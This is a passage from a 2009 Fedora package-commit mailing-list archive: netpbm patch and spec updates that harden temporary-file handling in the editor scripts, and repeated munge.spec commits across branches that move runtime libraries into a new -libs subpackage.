+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         } elsif ($i <= 20) {
             my $n = $spline10[$i-10];
-            system("ppmmix $n junk1a$$.ppm junk2a$$.ppm >junk3$$.ppm");
+            system("ppmmix $n $tmpdir/junk1a$$.ppm $tmpdir/junk2a$$.ppm >$tmpdir/junk3$$.ppm");
         } else {
             my $n = 1 - 1.9*$spline20[31-$i];
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk3$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk3$$.ppm");
         }
         if ($i == 10) {
-            system("cp", "junk3$$.ppm", "junk1a$$.ppm");
-            system("pamscale $n junk2$$.ppm | " .
-                   "pamscale -width $width -height $height >junk2a$$.ppm");
+            system("cp", "$tmpdir/junk3$$.ppm", "$tmpdir/junk1a$$.ppm");
+            system("pamscale $n $tmpdir/junk2$$.ppm | " .
+                   "pamscale -width $width -height $height >$tmpdir/junk2a$$.ppm");
         }    
     } elsif ($mode eq $MIX) {
         my $fade_factor = sqrt(1/($nframes-$i+1));
-        system("ppmmix $fade_factor junk1$$.ppm junk2$$.ppm >junk3$$.ppm");
+        system("ppmmix $fade_factor $tmpdir/junk1$$.ppm $tmpdir/junk2$$.ppm >$tmpdir/junk3$$.ppm");
     } else {
         print("Internal error: impossible mode value '$mode'\n");
     }
 
     my $outfile = sprintf("%s.%04d.ppm", $base_name, $i);
-    system("cp", "junk3$$.ppm", $outfile);
+    system("cp", "$tmpdir/junk3$$.ppm", $outfile);
 }
 
 #
 #  Clean up shop.
 #
-system("rm junk*$$.ppm");
+system("rm $tmpdir/junk*$$.ppm");
 
 exit(0);
diff -up netpbm-10.47.04/editor/ppmquantall.security2 netpbm-10.47.04/editor/ppmquantall
--- netpbm-10.47.04/editor/ppmquantall.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmquantall	2009-10-21 14:52:38.000000000 +0200
@@ -70,12 +70,8 @@ for i in ${files[@]}; do
     heights=(${heights[*]} `grep -v '^#' $i | sed '1d; s/.* //; 2q'`)
 done
 
-tempdir="${TMPDIR-/tmp}/ppmquantall.$$"
-mkdir -m 0700 $tempdir || \
-  { echo "Could not create temporary file. Exiting."; exit 1;}
-trap 'rm -rf $tempdir' 0 1 3 15
-
-all=$tempdir/pqa.all.$$
+all=$(mktemp -t pqa.all.XXXXXXXXXX) || exit 1
+rm -f $all
 
 pnmcat -topbottom -jleft -white ${files[@]} | pnmquant $newcolors > $all
 if [ $? != 0 ]; then
diff -up netpbm-10.47.04/editor/ppmshadow.security2 netpbm-10.47.04/editor/ppmshadow
--- netpbm-10.47.04/editor/ppmshadow.security2	2009-10-21 13:38:57.000000000 +0200
+++ netpbm-10.47.04/editor/ppmshadow	2009-10-21 14:51:02.000000000 +0200
@@ -72,9 +72,10 @@ sub makeConvolutionKernel($$) {
 
 
 my $tmpdir = $ENV{TMPDIR} || "/tmp";
-my $ourtmp = "$tmpdir/ppmshadow$$";
-mkdir($ourtmp, 0777) or
-    die("Unable to create directory for temporary files '$ourtmp");
+my $ourtmp; chomp($ourtmp = `mktemp -d -t PPMshadow.XXXXXX`);
+if ($? >> 8) {
+    die "Can't create directory for temporary files";
+}
 
 #   Process command line options
 

netpbm-svgtopam.patch:
 Makefile |    4 ----
 1 file changed, 4 deletions(-)

--- NEW FILE netpbm-svgtopam.patch ---
diff -up netpbm-10.35.67/converter/other/Makefile.svgtopam netpbm-10.35.67/converter/other/Makefile
--- netpbm-10.35.67/converter/other/Makefile.svgtopam	2009-09-04 13:57:06.000000000 +0200
+++ netpbm-10.35.67/converter/other/Makefile	2009-09-04 14:09:00.000000000 +0200
@@ -107,10 +107,6 @@ ifneq ($(ZLIB),NONE)
   BINARIES += pnmtops
 endif
 
-ifneq ($(XML2_LIBS),NONE)
-  BINARIES += svgtopam
-endif 
-
 MERGEBINARIES = $(BINARIES)
 
 EXTRA_OBJECTS = exif.o rast.o bmepsoe.o

netpbm-time.patch:
 config.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-time.patch ---
--- netpbm-10.17/converter/other/fiasco/config.h.time	2001-05-28 02:43:11.000000000 +0200
+++ netpbm-10.17/converter/other/fiasco/config.h	2003-09-08 15:23:17.000000000 +0200
@@ -19,7 +19,7 @@
 #define STDC_HEADERS 1
 
 /* Define if you can safely include both <sys/time.h> and <time.h>.  */
-#define TIME_WITH_SYS_TIME 1
+/* #undef TIME_WITH_SYS_TIME 1 */
 
 /* Define if your processor stores words with the most significant
    byte first (like Motorola and SPARC, unlike Intel and VAX).  */
@@ -79,7 +79,7 @@
 #define HAVE_STRING_H 1
 
 /* Define if you have the <sys/time.h> header file.  */
-#define HAVE_SYS_TIME_H 1
+/* #undef HAVE_SYS_TIME_H 1 */
 
 /* Define if you have the <unistd.h> header file.  */
 #define HAVE_UNISTD_H 1

netpbm-xwdfix.patch:
 xwdtopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-xwdfix.patch ---
--- netpbm-10.35/converter/other/xwdtopnm.c.xwdfix	2006-09-18 13:24:50.000000000 +0200
+++ netpbm-10.35/converter/other/xwdtopnm.c	2006-09-18 13:27:26.000000000 +0200
@@ -945,7 +945,7 @@ getpix(pixelReader * const rdrP) {
             unsigned long const bitsToTakeMask = lsbmask[nBitsToTake];
                 /* E.g. if nbitsToTake is 4, this is 0x0000000F */
 
-            unsigned long bitsToTake;
+            unsigned int bitsToTake;
                 /* The actual bits we take, in the 'nBitsToTake' low bits */
 
             assert(nBitsToTake <= 32);


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-10/.cvsignore,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- .cvsignore	18 May 2009 05:17:12 -0000	1.50
+++ .cvsignore	21 Oct 2009 17:03:39 -0000	1.51
@@ -1 +1 @@
-netpbm-10.35.64.tar.bz2
+netpbm-10.47.04.tar.xz


Index: netpbm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-10/netpbm.spec,v
retrieving revision 1.126
retrieving revision 1.127
diff -u -p -r1.126 -r1.127
--- netpbm.spec	18 May 2009 05:17:13 -0000	1.126
+++ netpbm.spec	21 Oct 2009 17:03:41 -0000	1.127
@@ -1,6 +1,6 @@
 Summary: A library for handling different graphics file formats
 Name: netpbm
-Version: 10.35.64
+Version: 10.47.04
 Release: 1%{?dist}
 # See copyright_summary for details
 License: BSD and GPLv2 and IJG and MIT and Public Domain
@@ -10,27 +10,22 @@ URL: http://netpbm.sourceforge.net/
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/stable netpbm-%{version}
 # svn checkout https://netpbm.svn.sourceforge.net/svnroot/netpbm/userguide netpbm-%{version}/userguide
 # and removing the .svn directories
-Source0: netpbm-%{version}.tar.bz2
-Patch1: netpbm-10.17-time.patch
-Patch2: netpbm-9.24-strip.patch
-Patch3: netpbm-10.19-message.patch
-Patch4: netpbm-10.22-security2.patch
-Patch6: netpbm-10.23-security.patch
-Patch7: netpbm-10.24-nodoc.patch
-Patch8: netpbm-10.28-gcc4.patch
-Patch9: netpbm-10.27-bmptopnm.patch
-Patch10: netpbm-10.28-CAN-2005-2471.patch
-Patch11: netpbm-10.31-xwdfix.patch
-Patch12: netpbm-10.33-ppmtompeg.patch
-Patch13: netpbm-10.33-multilib.patch
-Patch14: netpbm-10.34-pamscale.patch
-Patch18: netpbm-10.35-glibc.patch
-Patch19: netpbm-10.35-gcc43.patch
-Patch20: netpbm-10.35-rgbtxt.patch
-Patch22: netpbm-10.35-pnmmontagefix.patch
-Patch23: netpbm-10.35-pnmtofiasco-stdin.patch
-Patch24: netpbm-10.35-64bitfix.patch
-Patch29: netpbm-10.35-svgtopam.patch
+Source0: netpbm-%{version}.tar.xz
+Patch1: netpbm-time.patch
+Patch2: netpbm-message.patch
+Patch3: netpbm-security-scripts.patch
+Patch4: netpbm-security-code.patch
+Patch5: netpbm-nodoc.patch
+Patch6: netpbm-gcc4.patch
+Patch7: netpbm-bmptopnm.patch
+Patch8: netpbm-CAN-2005-2471.patch
+Patch9: netpbm-xwdfix.patch
+Patch10: netpbm-ppmtompeg.patch
+Patch11: netpbm-multilib.patch
+Patch12: netpbm-pamscale.patch
+Patch13: netpbm-glibc.patch
+Patch14: netpbm-pnmtofiasco-stdin.patch
+Patch15: netpbm-svgtopam.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libjpeg-devel, libpng-devel, libtiff-devel, flex
 BuildRequires: libX11-devel, python, jasper-devel
@@ -73,25 +68,22 @@ netpbm-progs.  You'll also need to insta
 %prep
 %setup -q
 %patch1 -p1 -b .time
-%patch2 -p1 -b .strip
-%patch3 -p1 -b .message
-%patch4 -p1 -b .security2
-%patch6 -p1 -b .security
-%patch7 -p1 -b .nodoc
-%patch8 -p1 -b .gcc4
-%patch9 -p1 -b .bmptopnm
-%patch10 -p1 -b .CAN-2005-2471
-%patch11 -p1 -b .xwdfix
-%patch12 -p1 -b .ppmtompeg
-%patch13 -p1 -b .multilib
-%patch14 -p1 -b .pamscale
-%patch18 -p1 -b .glibc
-%patch19 -p1 -b .gcc43
-%patch20 -p1 -b .rgbtxt
-%patch22 -p1 -b .pnmmontagefix
-%patch23 -p1 -b .pnmtofiasco-stdin
-%patch24 -p1 -b .64bitfix
-%patch29 -p1 -b .svgtopam
+%patch2 -p1 -b .message
+%patch3 -p1 -b .security-scripts
+%patch4 -p1 -b .security-code
+%patch5 -p1 -b .nodoc
+%patch6 -p1 -b .gcc4
+%patch7 -p1 -b .bmptopnm
+%patch8 -p1 -b .CAN-2005-2471
+%patch9 -p1 -b .xwdfix
+%patch10 -p1 -b .ppmtompeg
+%patch11 -p1 -b .multilib
+%patch12 -p1 -b .pamscale
+%patch13 -p1 -b .glibc
+%patch14 -p1 -b .pnmtofiasco-stdin
+%patch15 -p1 -b .svgtopam
+
+sed -i 's/STRIPFLAG = -s/STRIPFLAG =/g' config.mk.in
 
 %build
 ./configure <<EOF
@@ -205,7 +197,8 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root)
-%{_includedir}/*.h
+%dir %{_includedir}/netpbm
+%{_includedir}/netpbm/*.h
 %{_libdir}/lib*.so
 %{_mandir}/man3/*
 
@@ -217,6 +210,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/netpbm/
 
 %changelog
+* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
+- update to 10.47.04 (it is now stable) (#529525)
+- fixes #502917, #482850, #482847
+
 * Mon May 18 2009 Jindrich Novy <jnovy at redhat.com> 10.35.64-1
 - update to 10.35.64
 - fixes pnmremap, giftopnm, ppmpat, ppmdraw, pamstereogram


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/netpbm/F-10/sources,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- sources	18 May 2009 05:17:13 -0000	1.54
+++ sources	21 Oct 2009 17:03:41 -0000	1.55
@@ -1 +1 @@
-1f6e7c278db25afd8a7ca2d5149c4fce  netpbm-10.35.64.tar.bz2
+87d9e65a88c929bfbc60f9d4f3d87d5b  netpbm-10.47.04.tar.xz


--- netpbm-10.17-time.patch DELETED ---


--- netpbm-10.19-message.patch DELETED ---


--- netpbm-10.22-security2.patch DELETED ---


--- netpbm-10.23-security.patch DELETED ---


--- netpbm-10.24-nodoc.patch DELETED ---


--- netpbm-10.27-bmptopnm.patch DELETED ---


--- netpbm-10.28-CAN-2005-2471.patch DELETED ---


--- netpbm-10.28-gcc4.patch DELETED ---


--- netpbm-10.31-xwdfix.patch DELETED ---


--- netpbm-10.32-pnmdepth.patch DELETED ---


--- netpbm-10.33-multilib.patch DELETED ---


--- netpbm-10.33-ppmtompeg.patch DELETED ---


--- netpbm-10.34-pamscale.patch DELETED ---


--- netpbm-10.35-64bitfix.patch DELETED ---


--- netpbm-10.35-gcc43.patch DELETED ---


--- netpbm-10.35-glibc.patch DELETED ---


--- netpbm-10.35-pbmtog3segfault.patch DELETED ---


--- netpbm-10.35-pnmmontagefix.patch DELETED ---


--- netpbm-10.35-pnmtofiasco-stdin.patch DELETED ---


--- netpbm-10.35-rgbtxt.patch DELETED ---


--- netpbm-10.35-svgtopam.patch DELETED ---


--- netpbm-9.24-strip.patch DELETED ---



From stevetraylen at fedoraproject.org  Wed Oct 21 17:04:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 17:04:27 +0000 (UTC)
Subject: rpms/munge/EL-4 munge.spec,1.2,1.3
Message-ID: <20091021170427.142E511C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15548/EL-4

Modified Files:
	munge.spec 
Log Message:
#rhbz 530128



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/EL-4/munge.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- munge.spec	26 Sep 2009 10:28:51 -0000	1.2
+++ munge.spec	21 Oct 2009 17:04:26 -0000	1.3
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -45,12 +45,20 @@ methods.
 
 %package devel
 Summary: Development files for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
 Group: Applications/System
 
 %description devel
 Header files for developing using MUNGE.
 
+%package libs
+Summary: Runtime libs for uid * gid authentication acrosss a host cluster
+Requires: %{name} = %{version}-%{release}
+Group: Applications/System
+
+%description libs
+Runtime libraries for using MUNGE.
+
+
 %prep
 %setup -q
 %patch0 -p1
@@ -107,7 +115,6 @@ touch $RPM_BUILD_ROOT%{_var}/run/%{name}
 rm -rf $RPM_BUILD_ROOT
 
 %postun 
-/sbin/ldconfig
 if [ "$1" -ge "1" ] ; then
     /sbin/service munge condrestart >/dev/null 2>&1 || :
 fi
@@ -129,8 +136,9 @@ exit 0
 
 %post
 /sbin/chkconfig --add munge || :
-/sbin/ldconfig
 
+%post   libs -p /sbin/ldconfig
+%postun libs -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
@@ -145,8 +153,6 @@ exit 0
 %{_mandir}/man1/unmunge.1.gz
 %{_mandir}/man7/munge.7.gz
 %{_mandir}/man8/munged.8.gz
-%{_libdir}/libmunge.so.2
-%{_libdir}/libmunge.so.2.0.0
 
 %attr(-,munge,munge) %dir  %{_var}/run/munge
 %attr(0700,munge,munge) %dir  %{_var}/log/munge
@@ -165,7 +171,10 @@ exit 0
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
-
+%files libs
+%defattr(-,root,root,-)
+%{_libdir}/libmunge.so.2
+%{_libdir}/libmunge.so.2.0.0
 
 %files devel
 %defattr(-,root,root,-)
@@ -189,6 +198,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
+- rhbz#530128 Move runtime libs to a new -libs package.
+  ldconfig moved to new -libs package as a result.
 * Sat Sep 26 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-6
 - Patch for rhbz #525732 - Loads /etc/sysconfig/munge 
   correctly.



From stevetraylen at fedoraproject.org  Wed Oct 21 17:04:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 17:04:27 +0000 (UTC)
Subject: rpms/munge/F-12 munge.spec,1.3,1.4
Message-ID: <20091021170427.B0FAB11C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15548/F-12

Modified Files:
	munge.spec 
Log Message:
#rhbz 530128



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/F-12/munge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- munge.spec	26 Sep 2009 10:13:09 -0000	1.3
+++ munge.spec	21 Oct 2009 17:04:27 -0000	1.4
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -45,12 +45,20 @@ methods.
 
 %package devel
 Summary: Development files for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
 Group: Applications/System
 
 %description devel
 Header files for developing using MUNGE.
 
+%package libs
+Summary: Runtime libs for uid * gid authentication acrosss a host cluster
+Requires: %{name} = %{version}-%{release}
+Group: Applications/System
+
+%description libs
+Runtime libraries for using MUNGE.
+
+
 %prep
 %setup -q
 %patch0 -p1
@@ -107,7 +115,6 @@ touch $RPM_BUILD_ROOT%{_var}/run/%{name}
 rm -rf $RPM_BUILD_ROOT
 
 %postun 
-/sbin/ldconfig
 if [ "$1" -ge "1" ] ; then
     /sbin/service munge condrestart >/dev/null 2>&1 || :
 fi
@@ -129,8 +136,9 @@ exit 0
 
 %post
 /sbin/chkconfig --add munge || :
-/sbin/ldconfig
 
+%post   libs -p /sbin/ldconfig
+%postun libs -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
@@ -145,8 +153,6 @@ exit 0
 %{_mandir}/man1/unmunge.1.gz
 %{_mandir}/man7/munge.7.gz
 %{_mandir}/man8/munged.8.gz
-%{_libdir}/libmunge.so.2
-%{_libdir}/libmunge.so.2.0.0
 
 %attr(-,munge,munge) %dir  %{_var}/run/munge
 %attr(0700,munge,munge) %dir  %{_var}/log/munge
@@ -165,7 +171,10 @@ exit 0
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
-
+%files libs
+%defattr(-,root,root,-)
+%{_libdir}/libmunge.so.2
+%{_libdir}/libmunge.so.2.0.0
 
 %files devel
 %defattr(-,root,root,-)
@@ -189,6 +198,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
+- rhbz#530128 Move runtime libs to a new -libs package.
+  ldconfig moved to new -libs package as a result.
 * Sat Sep 26 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-6
 - Patch for rhbz #525732 - Loads /etc/sysconfig/munge 
   correctly.



From stevetraylen at fedoraproject.org  Wed Oct 21 17:04:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 17:04:27 +0000 (UTC)
Subject: rpms/munge/F-10 munge.spec,1.2,1.3
Message-ID: <20091021170427.61AFC11C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15548/F-10

Modified Files:
	munge.spec 
Log Message:
#rhbz 530128



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/F-10/munge.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- munge.spec	26 Sep 2009 10:29:31 -0000	1.2
+++ munge.spec	21 Oct 2009 17:04:27 -0000	1.3
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -45,12 +45,20 @@ methods.
 
 %package devel
 Summary: Development files for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
 Group: Applications/System
 
 %description devel
 Header files for developing using MUNGE.
 
+%package libs
+Summary: Runtime libs for uid * gid authentication acrosss a host cluster
+Requires: %{name} = %{version}-%{release}
+Group: Applications/System
+
+%description libs
+Runtime libraries for using MUNGE.
+
+
 %prep
 %setup -q
 %patch0 -p1
@@ -107,7 +115,6 @@ touch $RPM_BUILD_ROOT%{_var}/run/%{name}
 rm -rf $RPM_BUILD_ROOT
 
 %postun 
-/sbin/ldconfig
 if [ "$1" -ge "1" ] ; then
     /sbin/service munge condrestart >/dev/null 2>&1 || :
 fi
@@ -129,8 +136,9 @@ exit 0
 
 %post
 /sbin/chkconfig --add munge || :
-/sbin/ldconfig
 
+%post   libs -p /sbin/ldconfig
+%postun libs -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
@@ -145,8 +153,6 @@ exit 0
 %{_mandir}/man1/unmunge.1.gz
 %{_mandir}/man7/munge.7.gz
 %{_mandir}/man8/munged.8.gz
-%{_libdir}/libmunge.so.2
-%{_libdir}/libmunge.so.2.0.0
 
 %attr(-,munge,munge) %dir  %{_var}/run/munge
 %attr(0700,munge,munge) %dir  %{_var}/log/munge
@@ -165,7 +171,10 @@ exit 0
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
-
+%files libs
+%defattr(-,root,root,-)
+%{_libdir}/libmunge.so.2
+%{_libdir}/libmunge.so.2.0.0
 
 %files devel
 %defattr(-,root,root,-)
@@ -189,6 +198,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
+- rhbz#530128 Move runtime libs to a new -libs package.
+  ldconfig moved to new -libs package as a result.
 * Sat Sep 26 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-6
 - Patch for rhbz #525732 - Loads /etc/sysconfig/munge 
   correctly.



From stevetraylen at fedoraproject.org  Wed Oct 21 17:04:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 17:04:27 +0000 (UTC)
Subject: rpms/munge/EL-5 munge.spec,1.2,1.3
Message-ID: <20091021170427.39CCC11C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15548/EL-5

Modified Files:
	munge.spec 
Log Message:
#rhbz 530128



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/EL-5/munge.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- munge.spec	26 Sep 2009 10:29:11 -0000	1.2
+++ munge.spec	21 Oct 2009 17:04:27 -0000	1.3
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -45,12 +45,20 @@ methods.
 
 %package devel
 Summary: Development files for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
 Group: Applications/System
 
 %description devel
 Header files for developing using MUNGE.
 
+%package libs
+Summary: Runtime libs for uid * gid authentication acrosss a host cluster
+Requires: %{name} = %{version}-%{release}
+Group: Applications/System
+
+%description libs
+Runtime libraries for using MUNGE.
+
+
 %prep
 %setup -q
 %patch0 -p1
@@ -107,7 +115,6 @@ touch $RPM_BUILD_ROOT%{_var}/run/%{name}
 rm -rf $RPM_BUILD_ROOT
 
 %postun 
-/sbin/ldconfig
 if [ "$1" -ge "1" ] ; then
     /sbin/service munge condrestart >/dev/null 2>&1 || :
 fi
@@ -129,8 +136,9 @@ exit 0
 
 %post
 /sbin/chkconfig --add munge || :
-/sbin/ldconfig
 
+%post   libs -p /sbin/ldconfig
+%postun libs -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
@@ -145,8 +153,6 @@ exit 0
 %{_mandir}/man1/unmunge.1.gz
 %{_mandir}/man7/munge.7.gz
 %{_mandir}/man8/munged.8.gz
-%{_libdir}/libmunge.so.2
-%{_libdir}/libmunge.so.2.0.0
 
 %attr(-,munge,munge) %dir  %{_var}/run/munge
 %attr(0700,munge,munge) %dir  %{_var}/log/munge
@@ -165,7 +171,10 @@ exit 0
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
-
+%files libs
+%defattr(-,root,root,-)
+%{_libdir}/libmunge.so.2
+%{_libdir}/libmunge.so.2.0.0
 
 %files devel
 %defattr(-,root,root,-)
@@ -189,6 +198,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
+- rhbz#530128 Move runtime libs to a new -libs package.
+  ldconfig moved to new -libs package as a result.
 * Sat Sep 26 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-6
 - Patch for rhbz #525732 - Loads /etc/sysconfig/munge 
   correctly.



From stevetraylen at fedoraproject.org  Wed Oct 21 17:04:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 17:04:27 +0000 (UTC)
Subject: rpms/munge/F-11 munge.spec,1.2,1.3
Message-ID: <20091021170427.8A4BC11C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15548/F-11

Modified Files:
	munge.spec 
Log Message:
#rhbz 530128



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/F-11/munge.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- munge.spec	26 Sep 2009 10:29:52 -0000	1.2
+++ munge.spec	21 Oct 2009 17:04:27 -0000	1.3
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -45,12 +45,20 @@ methods.
 
 %package devel
 Summary: Development files for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
 Group: Applications/System
 
 %description devel
 Header files for developing using MUNGE.
 
+%package libs
+Summary: Runtime libs for uid * gid authentication acrosss a host cluster
+Requires: %{name} = %{version}-%{release}
+Group: Applications/System
+
+%description libs
+Runtime libraries for using MUNGE.
+
+
 %prep
 %setup -q
 %patch0 -p1
@@ -107,7 +115,6 @@ touch $RPM_BUILD_ROOT%{_var}/run/%{name}
 rm -rf $RPM_BUILD_ROOT
 
 %postun 
-/sbin/ldconfig
 if [ "$1" -ge "1" ] ; then
     /sbin/service munge condrestart >/dev/null 2>&1 || :
 fi
@@ -129,8 +136,9 @@ exit 0
 
 %post
 /sbin/chkconfig --add munge || :
-/sbin/ldconfig
 
+%post   libs -p /sbin/ldconfig
+%postun libs -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
@@ -145,8 +153,6 @@ exit 0
 %{_mandir}/man1/unmunge.1.gz
 %{_mandir}/man7/munge.7.gz
 %{_mandir}/man8/munged.8.gz
-%{_libdir}/libmunge.so.2
-%{_libdir}/libmunge.so.2.0.0
 
 %attr(-,munge,munge) %dir  %{_var}/run/munge
 %attr(0700,munge,munge) %dir  %{_var}/log/munge
@@ -165,7 +171,10 @@ exit 0
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
-
+%files libs
+%defattr(-,root,root,-)
+%{_libdir}/libmunge.so.2
+%{_libdir}/libmunge.so.2.0.0
 
 %files devel
 %defattr(-,root,root,-)
@@ -189,6 +198,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
+- rhbz#530128 Move runtime libs to a new -libs package.
+  ldconfig moved to new -libs package as a result.
 * Sat Sep 26 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-6
 - Patch for rhbz #525732 - Loads /etc/sysconfig/munge 
   correctly.



From stevetraylen at fedoraproject.org  Wed Oct 21 17:04:27 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 17:04:27 +0000 (UTC)
Subject: rpms/munge/devel munge.spec,1.3,1.4
Message-ID: <20091021170427.D8F2411C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15548/devel

Modified Files:
	munge.spec 
Log Message:
#rhbz 530128



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/devel/munge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- munge.spec	26 Sep 2009 10:13:09 -0000	1.3
+++ munge.spec	21 Oct 2009 17:04:27 -0000	1.4
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -45,12 +45,20 @@ methods.
 
 %package devel
 Summary: Development files for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
 Group: Applications/System
 
 %description devel
 Header files for developing using MUNGE.
 
+%package libs
+Summary: Runtime libs for uid * gid authentication acrosss a host cluster
+Requires: %{name} = %{version}-%{release}
+Group: Applications/System
+
+%description libs
+Runtime libraries for using MUNGE.
+
+
 %prep
 %setup -q
 %patch0 -p1
@@ -107,7 +115,6 @@ touch $RPM_BUILD_ROOT%{_var}/run/%{name}
 rm -rf $RPM_BUILD_ROOT
 
 %postun 
-/sbin/ldconfig
 if [ "$1" -ge "1" ] ; then
     /sbin/service munge condrestart >/dev/null 2>&1 || :
 fi
@@ -129,8 +136,9 @@ exit 0
 
 %post
 /sbin/chkconfig --add munge || :
-/sbin/ldconfig
 
+%post   libs -p /sbin/ldconfig
+%postun libs -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
